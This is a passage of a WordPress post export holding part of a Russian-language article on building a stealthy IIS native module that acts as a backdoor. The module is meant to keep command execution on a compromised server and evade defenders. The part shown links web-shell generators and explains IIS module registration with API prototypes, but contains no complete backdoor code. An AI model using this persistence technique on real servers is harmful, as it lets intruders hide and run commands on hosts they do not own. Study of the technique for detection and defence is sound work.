&lt;\/html><\/code><\/pre>\n<\/p>\n<\/div>\n<\/details>\n<p>\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u0434\u0430\u0436\u0435 <a href=\"https:\/\/github.com\/antonioCoco\/SharPyShell\">\u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b<\/a> \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u043e\u0432. \u0421\u0432\u0435\u0440\u0445\u0443 \u043a\u043e \u0432\u0441\u0435\u043c\u0443 \u044d\u0442\u043e\u043c\u0443 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0434\u043e\u0432\u043e\u043b\u044c\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u0446\u0435\u043d\u0438\u0442\u0435\u043b\u0435\u0439 \u2014 <a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/blob\/master\/Upload%20Insecure%20Files\/Configuration%20IIS%20web.config\/web.config\">\u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044c<\/a> web.config. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b, \u0431\u0435\u0440\u0438 \u0438 \u043d\u0435 \u0434\u0443\u043c\u0430\u0439! <\/p>\n<p>\u041d\u043e \u043d\u0435\u0442! \u0425\u043e\u0447\u0435\u0442\u0441\u044f \u0447\u0435\u0433\u043e-\u043d\u0438\u0431\u0443\u0434\u044c \u044d\u0442\u0430\u043a\u043e\u0433\u043e: \u043d\u043e\u0432\u043e\u0433\u043e, \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u043e\u0433\u043e \u0438 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u043a\u0430\u0436\u0434\u044b\u0439 \u0441\u0442\u0430\u0436\u0451\u0440-\u0437\u0430\u0449\u0438\u0442\u043d\u0438\u043a \u043c\u043e\u0433 \u043f\u0440\u043e\u0433\u043d\u0430\u0442\u044c \u0442\u0435\u0431\u044f \u0441\u043e \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430.<\/p>\n<p>\u0418 \u0442\u0430\u043a\u043e\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430\u0448\u043b\u043e\u0441\u044c.<\/p>\n<h2>IIS Components<\/h2>\n<p>\u041a\u0430\u043a \u044f \u0443\u0436\u0435 \u0441\u043a\u0430\u0437\u0430\u043b, Microsoft \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u0414\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.0 \u0432 IIS \u0431\u044b\u043b\u0438 ISAPI Extensions \u0438 ISAPI Filters. \u042d\u0442\u0438 \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b, \u043d\u043e \u043d\u0430 \u0441\u043c\u0435\u043d\u0443 \u0438\u043c \u043f\u0440\u0438\u0448\u043b\u0438 IIS Handler \u0438 IIS Module \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e.<\/p>\n<p>IIS Handler \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 IIS \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442 \u0434\u043b\u044f \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0445\u0435\u043d\u0434\u043b\u0435\u0440 \u0432 ASP.NET, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b ASPX (\u043d\u0430\u0448\u0438 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u044b \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435).<\/p>\n<p>IIS Module \u0442\u0430\u043a\u0436\u0435 \u0443\u0447\u0430\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435. IIS \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0435\u043c\u0443 \u043f\u043e\u043b\u043d\u044b\u0439 \u0438 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a\u043e \u0432\u0441\u0435\u043c \u0432\u0445\u043e\u0434\u044f\u0449\u0438\u043c \u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u043c HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430\u043c. \u0414\u0443\u043c\u0430\u044e, \u044d\u0442\u043e \u043d\u0430\u0448 \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442. \u0421\u0430\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u0438 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430 \u0434\u0432\u0430 \u0442\u0438\u043f\u0430: Managed \u0438 Native. Managed \u2014 \u0442\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 C#, \u0430 Native \u2014 \u043d\u0430 C++. \u0421\u043f\u0438\u0441\u043e\u043a \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u0441\u043b\u0443\u0436\u0431 IIS.<\/p>\n<figure class=\"full-width\">\n<div><figcaption>\u0414\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u0441\u043b\u0443\u0436\u0431 IIS<\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u0430\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u0435\u043d \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0443: \u0435\u0441\u043b\u0438 \u0438\u0434\u0451\u0442 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u043c\u0443 \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442\u0443 \u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438, \u0442\u043e \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430.<\/p>\n<h2>\u041e\u0431\u0449\u0438\u0439 \u043a\u043e\u043d\u0446\u0435\u043f\u0442<\/h2>\n<p>\u042f \u043f\u043e\u043d\u0438\u043c\u0430\u044e, \u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0432 Windows. \u0412\u0441\u0451 \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 DLL-\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c\u0438 \u043c\u0435\u0442\u043e\u0434\u0430\u043c\u0438. \u041f\u043e\u0441\u043b\u0435 \u0435\u0451 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 IIS \u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0451 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0435\u0441\u044f \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u043e\u0432\u043e\u0433\u043e HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u0430. <\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043c\u044b \u0441\u043c\u043e\u0433\u043b\u0438 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0432 IIS, \u043e\u043d\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044e <code>RegisterModule()<\/code> \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u043e\u043c:<\/p>\n<pre><code class=\"cpp\">HRESULT __stdcall RegisterModule(     DWORD dwServerVersion,     IHttpModuleRegistrationInfo*   pModuleInfo,     IHttpServer*               pHttpServer )<\/code><\/pre>\n<p><code>dwServerVersion<\/code> \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f. <code>IHttpModuleRegistratioInfo<\/code> \u2014 \u044d\u0442\u043e \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0414\u043b\u044f \u043d\u0435\u0438\u0441\u043a\u0443\u0448\u0451\u043d\u043d\u044b\u0445 \u043e\u0442\u043c\u0435\u0447\u0443, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0432 \u041e\u041e\u041f \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0430 \u043f\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c <a href=\"https:\/\/www.youtube.com\/watch?v=3rUgmjfwS_o\">\u0442\u0443\u0442<\/a>. <\/p>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043e\u0431\u0440\u0430\u0449\u0430\u044f\u0441\u044c \u043a \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <code>pModuleInfo<\/code> (\u043e\u043d\u0430 \u0431\u0443\u0434\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448 \u043c\u043e\u0434\u0443\u043b\u044c \u0432 IIS), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0437\u0432\u043b\u0435\u0447\u044c \u0438\u043c\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043c\u043e\u0434\u0443\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmoduleregistrationinfo-getname-method\">GetName()<\/a>, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0435\u0433\u043e ID \u0447\u0435\u0440\u0435\u0437 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmoduleregistrationinfo-getid-method\">GetId()<\/a>, \u043d\u043e \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 (\u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e, \u0447\u0442\u043e \u043d\u0430\u043c \u0438 \u043d\u0443\u0436\u043d\u043e) \u2014 \u043f\u043e\u0434\u043f\u0438\u0441\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u0447\u0435\u0440\u0435\u0437 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmoduleregistrationinfo-setrequestnotifications-method\">SetRequestNotifications()<\/a>.<\/p>\n<p>\u0415\u0449\u0451 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0437\u0430\u0446\u0438\u044e, \u043d\u043e \u043e\u043d\u0430 \u043d\u0430\u043c \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0430. \u0425\u043e\u0442\u044f \u0435\u0441\u043b\u0438 \u0432\u044b \u043f\u043b\u0430\u043d\u0438\u0440\u0443\u0435\u0442\u0435 \u043f\u0438\u0441\u0430\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u043d\u0430\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0439 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u2026<\/p>\n<p>\u0412\u043f\u0440\u043e\u0447\u0435\u043c, \u0432\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a <code>SetRequestNotifications()<\/code>.<\/p>\n<pre><code class=\"cpp\">virtual HRESULT SetRequestNotifications(      IN IHttpModuleFactory* pModuleFactory,      IN DWORD dwRequestNotifications,      IN DWORD dwPostRequestNotifications   ) = 0;<\/code><\/pre>\n<p>\u042d\u0442\u043e \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u0430\u044f **<a href=\"https:\/\/metanit.com\/cpp\/tutorial\/5.12.php\">\u0447\u0438\u0441\u0442\u043e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f<\/a>**. \u0415\u0451 \u043b\u043e\u0433\u0438\u043a\u0430 \u0434\u043e\u043b\u0436\u043d\u0430 \u0431\u044b\u0442\u044c \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0432 \u043a\u0430\u043a\u043e\u043c-\u0442\u043e \u043a\u043b\u0430\u0441\u0441\u0435. \u0412 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u043c\u043e\u0436\u043d\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0432\u0448\u0438\u0441\u044c \u043a <code>pModuleInfo<\/code>. \u0421\u0430\u043c\u0430 \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b:<\/p>\n<ul>\n<li>\n<p><code>pModuleFactory<\/code><strong> <\/strong>\u2014 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-interface\">IHttpModuleFactory<\/a>. \u0422\u043e \u0435\u0441\u0442\u044c \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043a\u043b\u0430\u0441\u0441, \u0443\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043e\u043d \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d \u043e\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430, \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u0432 \u044d\u0442\u043e\u043c \u043a\u043b\u0430\u0441\u0441\u0435 \u043c\u0435\u0442\u043e\u0434\u044b <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-gethttpmodule-method\">GetHttpModule<\/a> \u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-terminate-method\">Terminate<\/a><\/p>\n<\/li>\n<li>\n<p><code>dwRequestNotifications<\/code> \u2014 \u0431\u0438\u0442\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u043a\u0430, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u0432\u0441\u0435 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f IIS Module. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 <code>RQ_SEND_RESPONSE<\/code> \u0438 <code>RQ_BEGIN_REQUEST<\/code>. \u0412\u0435\u0441\u044c \u0441\u043f\u0438\u0441\u043e\u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/request-processing-constants\">\u0442\u0443\u0442<\/a><\/p>\n<\/li>\n<li>\n<p><code>dwPostRequestNotifications<\/code> \u2014 \u0431\u0438\u0442\u043e\u0432\u0430\u044f \u043c\u0430\u0441\u043a\u0430, \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u0432\u0441\u0435 \u0442\u0430\u043a \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0435 post-event-\u0441\u043e\u0431\u044b\u0442\u0438\u044f. \u042d\u0442\u0443 \u043c\u0430\u0441\u043a\u0443 \u0443\u0434\u043e\u0431\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0447\u0435\u0433\u043e-\u0442\u043e, \u0447\u0442\u043e \u0443\u0436\u0435 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u043d\u0430 IIS. \u041d\u0430\u0441 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u0432\u0438\u043c 0<\/p>\n<\/li>\n<\/ul>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>RegisterModule()<\/code> \u0434\u043e\u043b\u0436\u043d\u0430 \u0432\u0435\u0440\u043d\u0443\u0442\u044c <code>S_OK<\/code>.<\/p>\n<p>\u041b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441: \u00ab\u0413\u0434\u0435 \u0436\u0435 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u043e\u0431\u044b\u0442\u0438\u044f?\u00bb. \u0418 \u043f\u0435\u0440\u0435\u0434 \u0442\u0435\u043c \u043a\u0430\u043a \u043d\u0430 \u043d\u0435\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0438\u0442\u044c, \u043d\u0443\u0436\u043d\u043e \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0441\u043e \u0432\u0441\u0435\u043c\u0438 \u043a\u043b\u0430\u0441\u0441\u0430\u043c\u0438 \u0438 \u0444\u0430\u0431\u0440\u0438\u043a\u0430\u043c\u0438.<\/p>\n<h2>\u041a\u043b\u0430\u0441\u0441, \u0444\u0430\u0431\u0440\u0438\u043a\u0430, \u043f\u043b\u0435\u043c\u044f \u0438 \u0431\u0435\u0434\u043d\u044b\u0439 \u0438\u0443\u0434\u0435\u0439<\/h2>\n<p>\u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>SetRequestNotification()<\/code> \u043d\u0430\u043c \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u043c \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u043a\u043b\u0430\u0441\u0441\u0430, \u0443\u0434\u043e\u0432\u043b\u0435\u0442\u0432\u043e\u0440\u044f\u044e\u0449\u0435\u0433\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 <a href=\"https:\/\/learn.microsoft.com\/en-us\/previous-versions\/iis\/smooth-streaming-client\/ihttpmodulefactory-interface\">IHttpModuleFactory<\/a>. \u041d\u0430\u0448 \u043a\u043b\u0430\u0441\u0441 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043a\u0430\u043a\u0438\u043c \u0443\u0433\u043e\u0434\u043d\u043e, \u0433\u043b\u0430\u0432\u043d\u043e\u0435, \u0447\u0442\u043e\u0431\u044b \u0432 \u043d\u0451\u043c \u0431\u044b\u043b\u0430 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0434\u0432\u0443\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432: <code>GetHttpModule()<\/code> \u0438 <code>Terminate()<\/code><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-372517","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/372517","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=372517"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/372517\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=372517"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=372517"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=372517"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}